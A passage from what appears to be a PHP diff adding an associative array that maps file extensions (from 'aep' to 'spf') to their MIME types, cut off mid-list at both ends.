=> 'audio/adpcm', + 'aep' => 'application/vnd.audiograph', + 'afm' => 'application/x-font-type1', + 'afp' => 'application/vnd.ibm.modcap', + 'ahead' => 'application/vnd.ahead.space', + 'ai' => 'application/postscript', + 'aif' => 'audio/x-aiff', + 'aifc' => 'audio/x-aiff', + 'aiff' => 'audio/x-aiff', + 'air' => 'application/vnd.adobe.air-application-installer-package+zip', + 'ait' => 'application/vnd.dvb.ait', + 'ami' => 'application/vnd.amiga.ami', + 'apk' => 'application/vnd.android.package-archive', + 'appcache' => 'text/cache-manifest', + 'apr' => 'application/vnd.lotus-approach', + 'aps' => 'application/postscript', + 'arc' => 'application/x-freearc', + 'asc' => 'application/pgp-signature', + 'asf' => 'video/x-ms-asf', + 'asm' => 'text/x-asm', + 'aso' => 'application/vnd.accpac.simply.aso', + 'asx' => 'video/x-ms-asf', + 'atc' => 'application/vnd.acucorp', + 'atom' => 'application/atom+xml', + 'atomcat' => 'application/atomcat+xml', + 'atomsvc' => 'application/atomsvc+xml', + 'atx' => 'application/vnd.antix.game-component', + 'au' => 'audio/basic', + 'avi' => 'video/x-msvideo', + 'aw' => 'application/applixware', + 'azf' => 'application/vnd.airzip.filesecure.azf', + 'azs' => 'application/vnd.airzip.filesecure.azs', + 'azw' => 'application/vnd.amazon.ebook', + 'bat' => 'application/x-msdownload', + 'bcpio' => 'application/x-bcpio', + 'bdf' => 'application/x-font-bdf', + 'bdm' => 'application/vnd.syncml.dm+wbxml', + 'bed' => 'application/vnd.realvnc.bed', + 'bh2' => 'application/vnd.fujitsu.oasysprs', + 'bin' => 'application/octet-stream', + 'blb' => 'application/x-blorb', + 'blorb' => 'application/x-blorb', + 'bmi' => 'application/vnd.bmi', + 'bmp' => 'image/bmp', + 'book' => 'application/vnd.framemaker', + 'box' => 'application/vnd.previewsystems.box', + 'boz' => 'application/x-bzip2', + 'bpk' => 'application/octet-stream', + 'btif' => 'image/prs.btif', + 'bz' => 'application/x-bzip', + 'bz2' => 'application/x-bzip2', + 'c' => 'text/x-c', + 'c11amc' => 'application/vnd.cluetrust.cartomobile-config', + 'c11amz' => 'application/vnd.cluetrust.cartomobile-config-pkg', + 'c4d' => 'application/vnd.clonk.c4group', + 'c4f' => 'application/vnd.clonk.c4group', + 'c4g' => 'application/vnd.clonk.c4group', + 'c4p' => 'application/vnd.clonk.c4group', + 'c4u' => 'application/vnd.clonk.c4group', + 'cab' => 'application/vnd.ms-cab-compressed', + 'caf' => 'audio/x-caf', + 'cap' => 'application/vnd.tcpdump.pcap', + 'car' => 'application/vnd.curl.car', + 'cat' => 'application/vnd.ms-pki.seccat', + 'cb7' => 'application/x-cbr', + 'cba' => 'application/x-cbr', + 'cbr' => 'application/x-cbr', + 'cbt' => 'application/x-cbr', + 'cbz' => 'application/x-cbr', + 'cc' => 'text/x-c', + 'cct' => 'application/x-director', + 'ccxml' => 'application/ccxml+xml', + 'cdbcmsg' => 'application/vnd.contact.cmsg', + 'cdf' => 'application/x-netcdf', + 'cdkey' => 'application/vnd.mediastation.cdkey', + 'cdmia' => 'application/cdmi-capability', + 'cdmic' => 'application/cdmi-container', + 'cdmid' => 'application/cdmi-domain', + 'cdmio' => 'application/cdmi-object', + 'cdmiq' => 'application/cdmi-queue', + 'cdx' => 'chemical/x-cdx', + 'cdxml' => 'application/vnd.chemdraw+xml', + 'cdy' => 'application/vnd.cinderella', + 'cer' => 'application/pkix-cert', + 'cfs' => 'application/x-cfs-compressed', + 'cgm' => 'image/cgm', + 'chat' => 'application/x-chat', + 'chm' => 'application/vnd.ms-htmlhelp', + 'chrt' => 'application/vnd.kde.kchart', + 'cif' => 'chemical/x-cif', + 'cii' => 'application/vnd.anser-web-certificate-issue-initiation', + 'cil' => 'application/vnd.ms-artgalry', + 'cla' => 'application/vnd.claymore', + 'class' => 'application/java-vm', + 'clkk' => 'application/vnd.crick.clicker.keyboard', + 'clkp' => 'application/vnd.crick.clicker.palette', + 'clkt' => 'application/vnd.crick.clicker.template', + 'clkw' => 'application/vnd.crick.clicker.wordbank', + 'clkx' => 'application/vnd.crick.clicker', + 'clp' => 'application/x-msclip', + 'cmc' => 'application/vnd.cosmocaller', + 'cmdf' => 'chemical/x-cmdf', + 'cml' => 'chemical/x-cml', + 'cmp' => 'application/vnd.yellowriver-custom-menu', + 'cmx' => 'image/x-cmx', + 'cod' => 'application/vnd.rim.cod', + 'com' => 'application/x-msdownload', + 'conf' => 'text/plain', + 'cpio' => 'application/x-cpio', + 'cpp' => 'text/x-c', + 'cpt' => 'application/mac-compactpro', + 'crd' => 'application/x-mscardfile', + 'crl' => 'application/pkix-crl', + 'crt' => 'application/x-x509-ca-cert', + 'csh' => 'application/x-csh', + 'csml' => 'chemical/x-csml', + 'csp' => 'application/vnd.commonspace', + 'css' => 'text/css', + 'cst' => 'application/x-director', + 'csv' => 'text/csv', + 'cu' => 'application/cu-seeme', + 'curl' => 'text/vnd.curl', + 'cww' => 'application/prs.cww', + 'cxt' => 'application/x-director', + 'cxx' => 'text/x-c', + 'dae' => 'model/vnd.collada+xml', + 'daf' => 'application/vnd.mobius.daf', + 'dart' => 'application/vnd.dart', + 'dataless' => 'application/vnd.fdsn.seed', + 'davmount' => 'application/davmount+xml', + 'dbk' => 'application/docbook+xml', + 'dcr' => 'application/x-director', + 'dcurl' => 'text/vnd.curl.dcurl', + 'dd2' => 'application/vnd.oma.dd2+xml', + 'ddd' => 'application/vnd.fujixerox.ddd', + 'deb' => 'application/x-debian-package', + 'def' => 'text/plain', + 'deploy' => 'application/octet-stream', + 'der' => 'application/x-x509-ca-cert', + 'dfac' => 'application/vnd.dreamfactory', + 'dgc' => 'application/x-dgc-compressed', + 'dic' => 'text/x-c', + 'dir' => 'application/x-director', + 'dis' => 'application/vnd.mobius.dis', + 'dist' => 'application/octet-stream', + 'distz' => 'application/octet-stream', + 'djv' => 'image/vnd.djvu', + 'djvu' => 'image/vnd.djvu', + 'dll' => 'application/x-msdownload', + 'dmg' => 'application/x-apple-diskimage', + 'dmp' => 'application/vnd.tcpdump.pcap', + 'dms' => 'application/octet-stream', + 'dna' => 'application/vnd.dna', + 'doc' => 'application/msword', + 'docm' => 'application/vnd.ms-word.document.macroenabled.12', + 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + 'dot' => 'application/msword', + 'dotm' => 'application/vnd.ms-word.template.macroenabled.12', + 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', + 'dp' => 'application/vnd.osgi.dp', + 'dpg' => 'application/vnd.dpgraph', + 'dra' => 'audio/vnd.dra', + 'dsc' => 'text/prs.lines.tag', + 'dssc' => 'application/dssc+der', + 'dtb' => 'application/x-dtbook+xml', + 'dtd' => 'application/xml-dtd', + 'dts' => 'audio/vnd.dts', + 'dtshd' => 'audio/vnd.dts.hd', + 'dump' => 'application/octet-stream', + 'dvb' => 'video/vnd.dvb.file', + 'dvi' => 'application/x-dvi', + 'dwf' => 'model/vnd.dwf', + 'dwg' => 'image/vnd.dwg', + 'dxf' => 'image/vnd.dxf', + 'dxp' => 'application/vnd.spotfire.dxp', + 'dxr' => 'application/x-director', + 'ecelp4800' => 'audio/vnd.nuera.ecelp4800', + 'ecelp7470' => 'audio/vnd.nuera.ecelp7470', + 'ecelp9600' => 'audio/vnd.nuera.ecelp9600', + 'ecma' => 'application/ecmascript', + 'edm' => 'application/vnd.novadigm.edm', + 'edx' => 'application/vnd.novadigm.edx', + 'efif' => 'application/vnd.picsel', + 'ei6' => 'application/vnd.pg.osasli', + 'elc' => 'application/octet-stream', + 'emf' => 'application/x-msmetafile', + 'eml' => 'message/rfc822', + 'emma' => 'application/emma+xml', + 'emz' => 'application/x-msmetafile', + 'eol' => 'audio/vnd.digital-winds', + 'eot' => 'application/vnd.ms-fontobject', + 'eps' => 'application/postscript', + 'epub' => 'application/epub+zip', + 'es3' => 'application/vnd.eszigno3+xml', + 'esa' => 'application/vnd.osgi.subsystem', + 'esf' => 'application/vnd.epson.esf', + 'et3' => 'application/vnd.eszigno3+xml', + 'etx' => 'text/x-setext', + 'eva' => 'application/x-eva', + 'evy' => 'application/x-envoy', + 'exe' => 'application/x-msdownload', + 'exi' => 'application/exi', + 'ext' => 'application/vnd.novadigm.ext', + 'ez' => 'application/andrew-inset', + 'ez2' => 'application/vnd.ezpix-album', + 'ez3' => 'application/vnd.ezpix-package', + 'f' => 'text/x-fortran', + 'f4v' => 'video/x-f4v', + 'f77' => 'text/x-fortran', + 'f90' => 'text/x-fortran', + 'fbs' => 'image/vnd.fastbidsheet', + 'fcdt' => 'application/vnd.adobe.formscentral.fcdt', + 'fcs' => 'application/vnd.isac.fcs', + 'fdf' => 'application/vnd.fdf', + 'fe_launch' => 'application/vnd.denovo.fcselayout-link', + 'fg5' => 'application/vnd.fujitsu.oasysgp', + 'fgd' => 'application/x-director', + 'fh' => 'image/x-freehand', + 'fh4' => 'image/x-freehand', + 'fh5' => 'image/x-freehand', + 'fh7' => 'image/x-freehand', + 'fhc' => 'image/x-freehand', + 'fig' => 'application/x-xfig', + 'flac' => 'audio/x-flac', + 'fli' => 'video/x-fli', + 'flo' => 'application/vnd.micrografx.flo', + 'flv' => 'video/x-flv', + 'flw' => 'application/vnd.kde.kivio', + 'flx' => 'text/vnd.fmi.flexstor', + 'fly' => 'text/vnd.fly', + 'fm' => 'application/vnd.framemaker', + 'fnc' => 'application/vnd.frogans.fnc', + 'for' => 'text/x-fortran', + 'fpx' => 'image/vnd.fpx', + 'frame' => 'application/vnd.framemaker', + 'fsc' => 'application/vnd.fsc.weblaunch', + 'fst' => 'image/vnd.fst', + 'ftc' => 'application/vnd.fluxtime.clip', + 'fti' => 'application/vnd.anser-web-funds-transfer-initiation', + 'fvt' => 'video/vnd.fvt', + 'fxp' => 'application/vnd.adobe.fxp', + 'fxpl' => 'application/vnd.adobe.fxp', + 'fzs' => 'application/vnd.fuzzysheet', + 'g2w' => 'application/vnd.geoplan', + 'g3' => 'image/g3fax', + 'g3w' => 'application/vnd.geospace', + 'gac' => 'application/vnd.groove-account', + 'gam' => 'application/x-tads', + 'gbr' => 'application/rpki-ghostbusters', + 'gca' => 'application/x-gca-compressed', + 'gdl' => 'model/vnd.gdl', + 'geo' => 'application/vnd.dynageo', + 'gex' => 'application/vnd.geometry-explorer', + 'ggb' => 'application/vnd.geogebra.file', + 'ggt' => 'application/vnd.geogebra.tool', + 'ghf' => 'application/vnd.groove-help', + 'gif' => 'image/gif', + 'gim' => 'application/vnd.groove-identity-message', + 'gml' => 'application/gml+xml', + 'gmx' => 'application/vnd.gmx', + 'gnumeric' => 'application/x-gnumeric', + 'gph' => 'application/vnd.flographit', + 'gpx' => 'application/gpx+xml', + 'gqf' => 'application/vnd.grafeq', + 'gqs' => 'application/vnd.grafeq', + 'gram' => 'application/srgs', + 'gramps' => 'application/x-gramps-xml', + 'gre' => 'application/vnd.geometry-explorer', + 'grv' => 'application/vnd.groove-injector', + 'grxml' => 'application/srgs+xml', + 'gsf' => 'application/x-font-ghostscript', + 'gtar' => 'application/x-gtar', + 'gtm' => 'application/vnd.groove-tool-message', + 'gtw' => 'model/vnd.gtw', + 'gv' => 'text/vnd.graphviz', + 'gxf' => 'application/gxf', + 'gxt' => 'application/vnd.geonext', + 'gz' => 'application/x-gzip', + 'h' => 'text/x-c', + 'h261' => 'video/h261', + 'h263' => 'video/h263', + 'h264' => 'video/h264', + 'hal' => 'application/vnd.hal+xml', + 'hbci' => 'application/vnd.hbci', + 'hdf' => 'application/x-hdf', + 'hh' => 'text/x-c', + 'hlp' => 'application/winhlp', + 'hpgl' => 'application/vnd.hp-hpgl', + 'hpid' => 'application/vnd.hp-hpid', + 'hps' => 'application/vnd.hp-hps', + 'hqx' => 'application/mac-binhex40', + 'htke' => 'application/vnd.kenameaapp', + 'htm' => 'text/html', + 'html' => 'text/html', + 'hvd' => 'application/vnd.yamaha.hv-dic', + 'hvp' => 'application/vnd.yamaha.hv-voice', + 'hvs' => 'application/vnd.yamaha.hv-script', + 'i2g' => 'application/vnd.intergeo', + 'icc' => 'application/vnd.iccprofile', + 'ice' => 'x-conference/x-cooltalk', + 'icm' => 'application/vnd.iccprofile', + 'ico' => 'image/x-icon', + 'ics' => 'text/calendar', + 'ief' => 'image/ief', + 'ifb' => 'text/calendar', + 'ifm' => 'application/vnd.shana.informed.formdata', + 'iges' => 'model/iges', + 'igl' => 'application/vnd.igloader', + 'igm' => 'application/vnd.insors.igm', + 'igs' => 'model/iges', + 'igx' => 'application/vnd.micrografx.igx', + 'iif' => 'application/vnd.shana.informed.interchange', + 'imp' => 'application/vnd.accpac.simply.imp', + 'ims' => 'application/vnd.ms-ims', + 'in' => 'text/plain', + 'ink' => 'application/inkml+xml', + 'inkml' => 'application/inkml+xml', + 'install' => 'application/x-install-instructions', + 'iota' => 'application/vnd.astraea-software.iota', + 'ipfix' => 'application/ipfix', + 'ipk' => 'application/vnd.shana.informed.package', + 'irm' => 'application/vnd.ibm.rights-management', + 'irp' => 'application/vnd.irepository.package+xml', + 'iso' => 'application/x-iso9660-image', + 'itp' => 'application/vnd.shana.informed.formtemplate', + 'ivp' => 'application/vnd.immervision-ivp', + 'ivu' => 'application/vnd.immervision-ivu', + 'jad' => 'text/vnd.sun.j2me.app-descriptor', + 'jam' => 'application/vnd.jam', + 'jar' => 'application/java-archive', + 'java' => 'text/x-java-source', + 'jisp' => 'application/vnd.jisp', + 'jlt' => 'application/vnd.hp-jlyt', + 'jnlp' => 'application/x-java-jnlp-file', + 'joda' => 'application/vnd.joost.joda-archive', + 'jpe' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'jpg' => 'image/jpeg', + 'jpgm' => 'video/jpm', + 'jpgv' => 'video/jpeg', + 'jpm' => 'video/jpm', + 'js' => 'application/javascript', + 'json' => 'application/json', + 'jsonml' => 'application/jsonml+json', + 'kar' => 'audio/midi', + 'karbon' => 'application/vnd.kde.karbon', + 'kfo' => 'application/vnd.kde.kformula', + 'kia' => 'application/vnd.kidspiration', + 'kml' => 'application/vnd.google-earth.kml+xml', + 'kmz' => 'application/vnd.google-earth.kmz', + 'kne' => 'application/vnd.kinar', + 'knp' => 'application/vnd.kinar', + 'kon' => 'application/vnd.kde.kontour', + 'kpr' => 'application/vnd.kde.kpresenter', + 'kpt' => 'application/vnd.kde.kpresenter', + 'kpxx' => 'application/vnd.ds-keypoint', + 'ksp' => 'application/vnd.kde.kspread', + 'ktr' => 'application/vnd.kahootz', + 'ktx' => 'image/ktx', + 'ktz' => 'application/vnd.kahootz', + 'kwd' => 'application/vnd.kde.kword', + 'kwt' => 'application/vnd.kde.kword', + 'lasxml' => 'application/vnd.las.las+xml', + 'latex' => 'application/x-latex', + 'lbd' => 'application/vnd.llamagraphics.life-balance.desktop', + 'lbe' => 'application/vnd.llamagraphics.life-balance.exchange+xml', + 'les' => 'application/vnd.hhe.lesson-player', + 'lha' => 'application/x-lzh-compressed', + 'link66' => 'application/vnd.route66.link66+xml', + 'list' => 'text/plain', + 'list3820' => 'application/vnd.ibm.modcap', + 'listafp' => 'application/vnd.ibm.modcap', + 'lnk' => 'application/x-ms-shortcut', + 'log' => 'text/plain', + 'lostxml' => 'application/lost+xml', + 'lrf' => 'application/octet-stream', + 'lrm' => 'application/vnd.ms-lrm', + 'ltf' => 'application/vnd.frogans.ltf', + 'lvp' => 'audio/vnd.lucent.voice', + 'lwp' => 'application/vnd.lotus-wordpro', + 'lzh' => 'application/x-lzh-compressed', + 'm13' => 'application/x-msmediaview', + 'm14' => 'application/x-msmediaview', + 'm1v' => 'video/mpeg', + 'm21' => 'application/mp21', + 'm2a' => 'audio/mpeg', + 'm2v' => 'video/mpeg', + 'm3a' => 'audio/mpeg', + 'm3u' => 'audio/x-mpegurl', + 'm3u8' => 'application/vnd.apple.mpegurl', + 'm4a' => 'audio/mp4', + 'm4u' => 'video/vnd.mpegurl', + 'm4v' => 'video/x-m4v', + 'ma' => 'application/mathematica', + 'mads' => 'application/mads+xml', + 'mag' => 'application/vnd.ecowin.chart', + 'maker' => 'application/vnd.framemaker', + 'man' => 'text/troff', + 'mar' => 'application/octet-stream', + 'mathml' => 'application/mathml+xml', + 'mb' => 'application/mathematica', + 'mbk' => 'application/vnd.mobius.mbk', + 'mbox' => 'application/mbox', + 'mc1' => 'application/vnd.medcalcdata', + 'mcd' => 'application/vnd.mcd', + 'mcurl' => 'text/vnd.curl.mcurl', + 'mdb' => 'application/x-msaccess', + 'mdi' => 'image/vnd.ms-modi', + 'me' => 'text/troff', + 'mesh' => 'model/mesh', + 'meta4' => 'application/metalink4+xml', + 'metalink' => 'application/metalink+xml', + 'mets' => 'application/mets+xml', + 'mfm' => 'application/vnd.mfmp', + 'mft' => 'application/rpki-manifest', + 'mgp' => 'application/vnd.osgeo.mapguide.package', + 'mgz' => 'application/vnd.proteus.magazine', + 'mid' => 'audio/midi', + 'midi' => 'audio/midi', + 'mie' => 'application/x-mie', + 'mif' => 'application/vnd.mif', + 'mime' => 'message/rfc822', + 'mj2' => 'video/mj2', + 'mjp2' => 'video/mj2', + 'mk3d' => 'video/x-matroska', + 'mka' => 'audio/x-matroska', + 'mks' => 'video/x-matroska', + 'mkv' => 'video/x-matroska', + 'mlp' => 'application/vnd.dolby.mlp', + 'mmd' => 'application/vnd.chipnuts.karaoke-mmd', + 'mmf' => 'application/vnd.smaf', + 'mmr' => 'image/vnd.fujixerox.edmics-mmr', + 'mng' => 'video/x-mng', + 'mny' => 'application/x-msmoney', + 'mobi' => 'application/x-mobipocket-ebook', + 'mods' => 'application/mods+xml', + 'mov' => 'video/quicktime', + 'movie' => 'video/x-sgi-movie', + 'mp2' => 'audio/mpeg', + 'mp21' => 'application/mp21', + 'mp2a' => 'audio/mpeg', + 'mp3' => 'audio/mpeg', + 'mp4' => 'video/mp4', + 'mp4a' => 'audio/mp4', + 'mp4s' => 'application/mp4', + 'mp4v' => 'video/mp4', + 'mpc' => 'application/vnd.mophun.certificate', + 'mpe' => 'video/mpeg', + 'mpeg' => 'video/mpeg', + 'mpg' => 'video/mpeg', + 'mpg4' => 'video/mp4', + 'mpga' => 'audio/mpeg', + 'mpkg' => 'application/vnd.apple.installer+xml', + 'mpm' => 'application/vnd.blueice.multipass', + 'mpn' => 'application/vnd.mophun.application', + 'mpp' => 'application/vnd.ms-project', + 'mpt' => 'application/vnd.ms-project', + 'mpy' => 'application/vnd.ibm.minipay', + 'mqy' => 'application/vnd.mobius.mqy', + 'mrc' => 'application/marc', + 'mrcx' => 'application/marcxml+xml', + 'ms' => 'text/troff', + 'mscml' => 'application/mediaservercontrol+xml', + 'mseed' => 'application/vnd.fdsn.mseed', + 'mseq' => 'application/vnd.mseq', + 'msf' => 'application/vnd.epson.msf', + 'msh' => 'model/mesh', + 'msi' => 'application/x-msdownload', + 'msl' => 'application/vnd.mobius.msl', + 'msty' => 'application/vnd.muvee.style', + 'mts' => 'model/vnd.mts', + 'mus' => 'application/vnd.musician', + 'musicxml' => 'application/vnd.recordare.musicxml+xml', + 'mvb' => 'application/x-msmediaview', + 'mwf' => 'application/vnd.mfer', + 'mxf' => 'application/mxf', + 'mxl' => 'application/vnd.recordare.musicxml', + 'mxml' => 'application/xv+xml', + 'mxs' => 'application/vnd.triscape.mxs', + 'mxu' => 'video/vnd.mpegurl', + 'n-gage' => 'application/vnd.nokia.n-gage.symbian.install', + 'n3' => 'text/n3', + 'nb' => 'application/mathematica', + 'nbp' => 'application/vnd.wolfram.player', + 'nc' => 'application/x-netcdf', + 'ncx' => 'application/x-dtbncx+xml', + 'nfo' => 'text/x-nfo', + 'ngdat' => 'application/vnd.nokia.n-gage.data', + 'nitf' => 'application/vnd.nitf', + 'nlu' => 'application/vnd.neurolanguage.nlu', + 'nml' => 'application/vnd.enliven', + 'nnd' => 'application/vnd.noblenet-directory', + 'nns' => 'application/vnd.noblenet-sealer', + 'nnw' => 'application/vnd.noblenet-web', + 'npx' => 'image/vnd.net-fpx', + 'nsc' => 'application/x-conference', + 'nsf' => 'application/vnd.lotus-notes', + 'ntf' => 'application/vnd.nitf', + 'nzb' => 'application/x-nzb', + 'oa2' => 'application/vnd.fujitsu.oasys2', + 'oa3' => 'application/vnd.fujitsu.oasys3', + 'oas' => 'application/vnd.fujitsu.oasys', + 'obd' => 'application/x-msbinder', + 'obj' => 'application/x-tgif', + 'oda' => 'application/oda', + 'odb' => 'application/vnd.oasis.opendocument.database', + 'odc' => 'application/vnd.oasis.opendocument.chart', + 'odf' => 'application/vnd.oasis.opendocument.formula', + 'odft' => 'application/vnd.oasis.opendocument.formula-template', + 'odg' => 'application/vnd.oasis.opendocument.graphics', + 'odi' => 'application/vnd.oasis.opendocument.image', + 'odm' => 'application/vnd.oasis.opendocument.text-master', + 'odp' => 'application/vnd.oasis.opendocument.presentation', + 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', + 'odt' => 'application/vnd.oasis.opendocument.text', + 'oga' => 'audio/ogg', + 'ogg' => 'audio/ogg', + 'ogv' => 'video/ogg', + 'ogx' => 'application/ogg', + 'omdoc' => 'application/omdoc+xml', + 'onepkg' => 'application/onenote', + 'onetmp' => 'application/onenote', + 'onetoc' => 'application/onenote', + 'onetoc2' => 'application/onenote', + 'opf' => 'application/oebps-package+xml', + 'opml' => 'text/x-opml', + 'oprc' => 'application/vnd.palm', + 'org' => 'application/vnd.lotus-organizer', + 'osf' => 'application/vnd.yamaha.openscoreformat', + 'osfpvg' => 'application/vnd.yamaha.openscoreformat.osfpvg+xml', + 'otc' => 'application/vnd.oasis.opendocument.chart-template', + 'otf' => 'application/x-font-otf', + 'otg' => 'application/vnd.oasis.opendocument.graphics-template', + 'oth' => 'application/vnd.oasis.opendocument.text-web', + 'oti' => 'application/vnd.oasis.opendocument.image-template', + 'otp' => 'application/vnd.oasis.opendocument.presentation-template', + 'ots' => 'application/vnd.oasis.opendocument.spreadsheet-template', + 'ott' => 'application/vnd.oasis.opendocument.text-template', + 'oxps' => 'application/oxps', + 'oxt' => 'application/vnd.openofficeorg.extension', + 'p' => 'text/x-pascal', + 'p10' => 'application/pkcs10', + 'p12' => 'application/x-pkcs12', + 'p7b' => 'application/x-pkcs7-certificates', + 'p7c' => 'application/pkcs7-mime', + 'p7m' => 'application/pkcs7-mime', + 'p7r' => 'application/x-pkcs7-certreqresp', + 'p7s' => 'application/pkcs7-signature', + 'p8' => 'application/pkcs8', + 'pas' => 'text/x-pascal', + 'paw' => 'application/vnd.pawaafile', + 'pbd' => 'application/vnd.powerbuilder6', + 'pbm' => 'image/x-portable-bitmap', + 'pcap' => 'application/vnd.tcpdump.pcap', + 'pcf' => 'application/x-font-pcf', + 'pcl' => 'application/vnd.hp-pcl', + 'pclxl' => 'application/vnd.hp-pclxl', + 'pct' => 'image/x-pict', + 'pcurl' => 'application/vnd.curl.pcurl', + 'pcx' => 'image/x-pcx', + 'pdb' => 'application/vnd.palm', + 'pdf' => 'application/pdf', + 'pfa' => 'application/x-font-type1', + 'pfb' => 'application/x-font-type1', + 'pfm' => 'application/x-font-type1', + 'pfr' => 'application/font-tdpfr', + 'pfx' => 'application/x-pkcs12', + 'pgm' => 'image/x-portable-graymap', + 'pgn' => 'application/x-chess-pgn', + 'pgp' => 'application/pgp-encrypted', + 'php' => 'application/x-php', + 'php3' => 'application/x-php', + 'php4' => 'application/x-php', + 'php5' => 'application/x-php', + 'pic' => 'image/x-pict', + 'pkg' => 'application/octet-stream', + 'pki' => 'application/pkixcmp', + 'pkipath' => 'application/pkix-pkipath', + 'plb' => 'application/vnd.3gpp.pic-bw-large', + 'plc' => 'application/vnd.mobius.plc', + 'plf' => 'application/vnd.pocketlearn', + 'pls' => 'application/pls+xml', + 'pml' => 'application/vnd.ctc-posml', + 'png' => 'image/png', + 'pnm' => 'image/x-portable-anymap', + 'portpkg' => 'application/vnd.macports.portpkg', + 'pot' => 'application/vnd.ms-powerpoint', + 'potm' => 'application/vnd.ms-powerpoint.template.macroenabled.12', + 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', + 'ppam' => 'application/vnd.ms-powerpoint.addin.macroenabled.12', + 'ppd' => 'application/vnd.cups-ppd', + 'ppm' => 'image/x-portable-pixmap', + 'pps' => 'application/vnd.ms-powerpoint', + 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroenabled.12', + 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', + 'ppt' => 'application/vnd.ms-powerpoint', + 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroenabled.12', + 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', + 'pqa' => 'application/vnd.palm', + 'prc' => 'application/x-mobipocket-ebook', + 'pre' => 'application/vnd.lotus-freelance', + 'prf' => 'application/pics-rules', + 'ps' => 'application/postscript', + 'psb' => 'application/vnd.3gpp.pic-bw-small', + 'psd' => 'image/vnd.adobe.photoshop', + 'psf' => 'application/x-font-linux-psf', + 'pskcxml' => 'application/pskc+xml', + 'ptid' => 'application/vnd.pvi.ptid1', + 'pub' => 'application/x-mspublisher', + 'pvb' => 'application/vnd.3gpp.pic-bw-var', + 'pwn' => 'application/vnd.3m.post-it-notes', + 'pya' => 'audio/vnd.ms-playready.media.pya', + 'pyv' => 'video/vnd.ms-playready.media.pyv', + 'qam' => 'application/vnd.epson.quickanime', + 'qbo' => 'application/vnd.intu.qbo', + 'qfx' => 'application/vnd.intu.qfx', + 'qps' => 'application/vnd.publishare-delta-tree', + 'qt' => 'video/quicktime', + 'qwd' => 'application/vnd.quark.quarkxpress', + 'qwt' => 'application/vnd.quark.quarkxpress', + 'qxb' => 'application/vnd.quark.quarkxpress', + 'qxd' => 'application/vnd.quark.quarkxpress', + 'qxl' => 'application/vnd.quark.quarkxpress', + 'qxt' => 'application/vnd.quark.quarkxpress', + 'ra' => 'audio/x-pn-realaudio', + 'ram' => 'audio/x-pn-realaudio', + 'rar' => 'application/x-rar-compressed', + 'ras' => 'image/x-cmu-raster', + 'rcprofile' => 'application/vnd.ipunplugged.rcprofile', + 'rdf' => 'application/rdf+xml', + 'rdz' => 'application/vnd.data-vision.rdz', + 'rep' => 'application/vnd.businessobjects', + 'res' => 'application/x-dtbresource+xml', + 'rgb' => 'image/x-rgb', + 'rif' => 'application/reginfo+xml', + 'rip' => 'audio/vnd.rip', + 'ris' => 'application/x-research-info-systems', + 'rl' => 'application/resource-lists+xml', + 'rlc' => 'image/vnd.fujixerox.edmics-rlc', + 'rld' => 'application/resource-lists-diff+xml', + 'rm' => 'application/vnd.rn-realmedia', + 'rmi' => 'audio/midi', + 'rmp' => 'audio/x-pn-realaudio-plugin', + 'rms' => 'application/vnd.jcp.javame.midlet-rms', + 'rmvb' => 'application/vnd.rn-realmedia-vbr', + 'rnc' => 'application/relax-ng-compact-syntax', + 'roa' => 'application/rpki-roa', + 'roff' => 'text/troff', + 'rp9' => 'application/vnd.cloanto.rp9', + 'rpss' => 'application/vnd.nokia.radio-presets', + 'rpst' => 'application/vnd.nokia.radio-preset', + 'rq' => 'application/sparql-query', + 'rs' => 'application/rls-services+xml', + 'rsd' => 'application/rsd+xml', + 'rss' => 'application/rss+xml', + 'rtf' => 'application/rtf', + 'rtx' => 'text/richtext', + 's' => 'text/x-asm', + 's3m' => 'audio/s3m', + 'saf' => 'application/vnd.yamaha.smaf-audio', + 'sbml' => 'application/sbml+xml', + 'sc' => 'application/vnd.ibm.secure-container', + 'scd' => 'application/x-msschedule', + 'scm' => 'application/vnd.lotus-screencam', + 'scq' => 'application/scvp-cv-request', + 'scs' => 'application/scvp-cv-response', + 'scurl' => 'text/vnd.curl.scurl', + 'sda' => 'application/vnd.stardivision.draw', + 'sdc' => 'application/vnd.stardivision.calc', + 'sdd' => 'application/vnd.stardivision.impress', + 'sdkd' => 'application/vnd.solent.sdkm+xml', + 'sdkm' => 'application/vnd.solent.sdkm+xml', + 'sdp' => 'application/sdp', + 'sdw' => 'application/vnd.stardivision.writer', + 'see' => 'application/vnd.seemail', + 'seed' => 'application/vnd.fdsn.seed', + 'sema' => 'application/vnd.sema', + 'semd' => 'application/vnd.semd', + 'semf' => 'application/vnd.semf', + 'ser' => 'application/java-serialized-object', + 'setpay' => 'application/set-payment-initiation', + 'setreg' => 'application/set-registration-initiation', + 'sfd-hdstx' => 'application/vnd.hydrostatix.sof-data', + 'sfs' => 'application/vnd.spotfire.sfs', + 'sfv' => 'text/x-sfv', + 'sgi' => 'image/sgi', + 'sgl' => 'application/vnd.stardivision.writer-global', + 'sgm' => 'text/sgml', + 'sgml' => 'text/sgml', + 'sh' => 'application/x-sh', + 'shar' => 'application/x-shar', + 'shf' => 'application/shf+xml', + 'sid' => 'image/x-mrsid-image', + 'sig' => 'application/pgp-signature', + 'sil' => 'audio/silk', + 'silo' => 'model/mesh', + 'sis' => 'application/vnd.symbian.install', + 'sisx' => 'application/vnd.symbian.install', + 'sit' => 'application/x-stuffit', + 'sitx' => 'application/x-stuffitx', + 'skd' => 'application/vnd.koan', + 'skm' => 'application/vnd.koan', + 'skp' => 'application/vnd.koan', + 'skt' => 'application/vnd.koan', + 'sldm' => 'application/vnd.ms-powerpoint.slide.macroenabled.12', + 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', + 'slt' => 'application/vnd.epson.salt', + 'sm' => 'application/vnd.stepmania.stepchart', + 'smf' => 'application/vnd.stardivision.math', + 'smi' => 'application/smil+xml', + 'smil' => 'application/smil+xml', + 'smv' => 'video/x-smv', + 'smzip' => 'application/vnd.stepmania.package', + 'snd' => 'audio/basic', + 'snf' => 'application/x-font-snf', + 'so' => 'application/octet-stream', + 'spc' => 'application/x-pkcs7-certificates', + 'spf' => 'application/vnd.yamaha.smaf-phrase', + 